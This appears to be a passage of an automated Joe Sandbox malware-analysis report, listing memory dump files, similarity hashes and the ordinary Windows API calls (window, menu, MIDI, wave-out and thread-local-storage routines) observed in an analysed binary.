          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Client$Copy
          • String ID:
          • API String ID: 472922470-0
          • Opcode ID: 4353e53b2cfa67f8323dc257c03ef663b1121bb063c315b3eae43caad63ff8e2
          • Instruction ID: 4be9a50ec48ceb42130b14e201f9d2bf71f4b798f7450f80e4242b3edb6d1d65
          • Opcode Fuzzy Hash: 4353e53b2cfa67f8323dc257c03ef663b1121bb063c315b3eae43caad63ff8e2
          • Instruction Fuzzy Hash: CC8171712083459FC714EF69C890BAFB7E5FBC8708F10591EF19683291DB78B9058B6A
          APIs
          • GetStartupInfoA.KERNEL32(?), ref: 00485921
          • GetFileType.KERNEL32(?,?,00000000), ref: 004859CC
          • GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 00485A2F
          • GetFileType.KERNEL32(00000000,?,00000000), ref: 00485A3D
          • SetHandleCount.KERNEL32 ref: 00485A74
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: FileHandleType$CountInfoStartup
          • String ID:
          • API String ID: 1710529072-0
          • Opcode ID: 5f0cff2178b573b8a12230da0c7d36a04d4f0cd14026285829b3e1262d91536c
          • Instruction ID: c9e05cdb145d5002dc2a3b1cdaef41cb998151e758b8b78627d70d66860c6e24
          • Opcode Fuzzy Hash: 5f0cff2178b573b8a12230da0c7d36a04d4f0cd14026285829b3e1262d91536c
          • Instruction Fuzzy Hash: E5513871504A41CFD724AF28C8C47AE3BE0AB11378F284B6ED992CB3E1D7389849D749
          APIs
          • IsWindow.USER32(?), ref: 00420B40
          • WinHelpA.USER32(?,00000000,00000002,00000000), ref: 00420B5B
          • GetMenu.USER32(?), ref: 00420B6B
          • SetMenu.USER32(?,00000000), ref: 00420B78
          • DestroyMenu.USER32(00000000), ref: 00420B83
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Menu$DestroyHelpWindow
          • String ID:
          • API String ID: 427501538-0
          • Opcode ID: 0b0330ae5de8d1b0f69f15ab0847847e3cb4c75b53452507452958a45ae3b0d8
          • Instruction ID: 9ef9bd8bff52a86120d14054ec986fb32a598883442bd99e0070dd6fa16d7bb9
          • Opcode Fuzzy Hash: 0b0330ae5de8d1b0f69f15ab0847847e3cb4c75b53452507452958a45ae3b0d8
          • Instruction Fuzzy Hash: 31310475600218ABC324EFA6D845E6BBBECFF45348F41461EF80553241DB39B844CBA9
          APIs
          • midiStreamStop.WINMM(00000000,00000000,004DB174,00000000,0042C9AA,00000000,004DB418,00422F66,004DB418,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CE75
          • midiOutReset.WINMM(00000000,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CE93
          • WaitForSingleObject.KERNEL32(00000000,000007D0,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CEB6
          • midiStreamClose.WINMM(00000000,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CEF3
          • midiStreamClose.WINMM(00000000,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CF27
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: midi$Stream$Close$ObjectResetSingleStopWait
          • String ID:
          • API String ID: 3142198506-0
          • Opcode ID: e1134d4e123b822d3db6c12bec34fffbbf0c47b1335f29658fb4d4603b626d85
          • Instruction ID: fdbee6babb0f1b650e3bdba6203750be7c99b7c4315b9336261926ab3d681eda
          • Opcode Fuzzy Hash: e1134d4e123b822d3db6c12bec34fffbbf0c47b1335f29658fb4d4603b626d85
          • Instruction Fuzzy Hash: E9316EB27007608BCB309F65E9C456FB7EABB94705B554A3FE142C6640C778DC45CB98
          APIs
            • Part of subcall function 00469F60: ReleaseSemaphore.KERNEL32(?,00000001,?,?,004698B7,?,?,?,00469868), ref: 00469F6C
          • waveOutReset.WINMM(?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B453
          • waveOutUnprepareHeader.WINMM(?,?,00000020,?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B47E
          • waveOutClose.WINMM(?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B496
          • Sleep.KERNEL32(00000064,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B4A5
          • waveOutClose.WINMM(?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B4AB
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wave$Close$HeaderReleaseResetSemaphoreSleepUnprepare
          • String ID:
          • API String ID: 1090488759-0
          • Opcode ID: 23d03f1604a0202bc93b3e0ac2f9a80cec42d24d387ef5e800a4e4c06887e490
          • Instruction ID: c601822a2596641263454612aa1c3a4eee27c4501a14db35624addb3de56d9f2
          • Opcode Fuzzy Hash: 23d03f1604a0202bc93b3e0ac2f9a80cec42d24d387ef5e800a4e4c06887e490
          • Instruction Fuzzy Hash: 9931C3712007008FC724EF55C880A2BB7E9FB89714F54091EE052C7B52EBB9F841CB9A
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Menu$Destroy$AcceleratorTableWindow
          • String ID:
          • API String ID: 1240299919-0
          • Opcode ID: 91ddac3e01ae8ea8006c34a84d9ea80a4d26965b710d58975c339b7edb06aa9b
          • Instruction ID: 81a5088b93770b150709d3b25223b7976328a508b0da338769178fd6e6bf7894
          • Opcode Fuzzy Hash: 91ddac3e01ae8ea8006c34a84d9ea80a4d26965b710d58975c339b7edb06aa9b
          • Instruction Fuzzy Hash: 243175B55403056FC610EF65DC44DAB77A9EF85358F02892DFC0597252DA38E80ACBA5
          APIs
          • IsChild.USER32(?,?), ref: 004227FC
            • Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
            • Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497
          • GetCursorPos.USER32(?), ref: 00422814
          • GetClientRect.USER32(?,?), ref: 00422823
          • PtInRect.USER32(?,?,?), ref: 00422844
          • SetCursor.USER32(?,?,00000000,?,?,?,?,00422470), ref: 004228C2
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ChildCursorRect$ClientParent
          • String ID:
          • API String ID: 1110532797-0
          • Opcode ID: c53c113f3676dc18c5963c8f7cc51ca9bbe128384fc529c00cd8e1bc5dfdb7de
          • Instruction ID: 6eb2be84252b982f6d2fd8077ef076d1d755e731623809992ea72b81481b0fe3
          • Opcode Fuzzy Hash: c53c113f3676dc18c5963c8f7cc51ca9bbe128384fc529c00cd8e1bc5dfdb7de
          • Instruction Fuzzy Hash: E721D731600211ABD720EB29DD45F9B77E89F88714F054A2FF805E3290EA78E84587AA
          APIs
          • __EH_prolog.LIBCMT ref: 00490170
          • GetParent.USER32(?), ref: 004901AD
          • SendMessageA.USER32(?,00000464,00000104,00000000), ref: 004901D5
          • GetParent.USER32(?), ref: 004901FE
          • SendMessageA.USER32(?,00000465,00000104,00000000), ref: 0049021B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageParentSend$H_prolog
          • String ID:
          • API String ID: 1056721960-0
          • Opcode ID: 85c623e413f880aa19ba5c85c3a9c8903e7526602954a595a7dab3782e475581
          • Instruction ID: b039fd92a8cff6727a51f71b6b8dc578fc2e7837588f61794e9cf03f85a29d86
          • Opcode Fuzzy Hash: 85c623e413f880aa19ba5c85c3a9c8903e7526602954a595a7dab3782e475581
          • Instruction Fuzzy Hash: F231627090021AABDF04EFA5CC49AAEBB74FF41319F10467EA521A71E1DB389E05CB18
          APIs
            • Part of subcall function 0049086E: SendMessageA.USER32(?,0000110C,00000000,00000040), ref: 0049088F
          • SendMessageA.USER32(?,0000110A,00000004,?), ref: 00412235
          • SendMessageA.USER32(?,0000110A,00000004,00000000), ref: 00412255
          • SendMessageA.USER32(?,00001101,00000000,00000000), ref: 00412267
          • SendMessageA.USER32(?,0000110A,00000004,00000000), ref: 00412275
          • SendMessageA.USER32(?,00001101,00000000,00000000), ref: 00412287
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend
          • String ID:
          • API String ID: 3850602802-0
          • Opcode ID: 55d2a5a4bebe5541f57ca4b9a1a776c5b8a9ba982e8141572023e214f730b11e
          • Instruction ID: 40879c440da35dff75692bb02db1bcb9ebc90ebd4be99c3b1b03464bd3eae084
          • Opcode Fuzzy Hash: 55d2a5a4bebe5541f57ca4b9a1a776c5b8a9ba982e8141572023e214f730b11e
          • Instruction Fuzzy Hash: CC01A7B27407017BE534AAA64CC1FEBA2AC9FD4B55F01492AF701D72C0DAF8EC424674
          APIs
          • __EH_prolog.LIBCMT ref: 004942FD
          • GetClassInfoA.USER32(?,?,?), ref: 00494318
          • RegisterClassA.USER32(?), ref: 00494323
          • lstrcatA.KERNEL32(00000034,?,00000001), ref: 0049435A
          • lstrcatA.KERNEL32(00000034,?), ref: 00494368
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Classlstrcat$H_prologInfoRegister
          • String ID:
          • API String ID: 106226465-0
          • Opcode ID: e8bb3223f88ee7114d64e184907d49c411804475e7af0826a0379bea8c10b2b8
          • Instruction ID: b61ff772979261dce3e166c97e45b43b70db7183aafd571e81276a99b45e250c
          • Opcode Fuzzy Hash: e8bb3223f88ee7114d64e184907d49c411804475e7af0826a0379bea8c10b2b8
          • Instruction Fuzzy Hash: B811E136A00214BFCB10AF75D845EAE7FB8EF85714F00456BF902A7651D778E6018BA9
          APIs
          • GetLastError.KERNEL32(00000103,7FFFFFFF,00482B52,00484A9B,00000000,?,?,00000000,00000001), ref: 00485AE8
          • TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00485AF6
          • SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 00485B42
            • Part of subcall function 00482F46: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 0048303C
          • TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00485B1A
          • GetCurrentThreadId.KERNEL32 ref: 00485B2B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorLastValue$AllocCurrentHeapThread
          • String ID:
          • API String ID: 2020098873-0
          • Opcode ID: dadd5290e1e0838316c0087c5a15f87bff81a026cd2d467814156772281128f4
          • Instruction ID: 782c174f901fc56216b61bb453d7d4d69847b9b6301057904525ce572cae5d89
          • Opcode Fuzzy Hash: dadd5290e1e0838316c0087c5a15f87bff81a026cd2d467814156772281128f4
          • Instruction Fuzzy Hash: F0F0F636900A215BC7303B35BC49A5E7F51EB067A1F100A3AFA41E52F0CF6898419798
          APIs
          • TlsFree.KERNEL32(00000000,?,?,0049B99C,00000000,00000001), ref: 0049B49B
          • GlobalHandle.KERNEL32(006C2DD0), ref: 0049B4C3
          • GlobalUnlock.KERNEL32(00000000), ref: 0049B4CC
          • GlobalFree.KERNEL32(00000000), ref: 0049B4D3
          • DeleteCriticalSection.KERNEL32(004FCF58,?,?,0049B99C,00000000,00000001), ref: 0049B4DD
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$Free$CriticalDeleteHandleSectionUnlock
          • String ID:
          • API String ID: 2159622880-0
          • Opcode ID: b2ba6dad4e4b0c2ffbb94787964f96c64cf6e815fac05c4f2c4131203ebb505a
          • Instruction ID: e20d67b46f6c84ca3ca5511521e7b4f09662250be8ff04458d6d5add9854d7cb
          • Opcode Fuzzy Hash: b2ba6dad4e4b0c2ffbb94787964f96c64cf6e815fac05c4f2c4131203ebb505a
          • Instruction Fuzzy Hash: EFF054362005105FDA209F69BD4CA6B7FACDF86761B15457AF905D33A1CB68DC0287A8
          APIs
          • SendMessageA.USER32(?,000000B0,?,?), ref: 0040C177
          • SendMessageA.USER32(?,000000B0,?,?), ref: 0040C1D4
          • SendMessageA.USER32(?,000000B0,?,?), ref: 0040C238
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
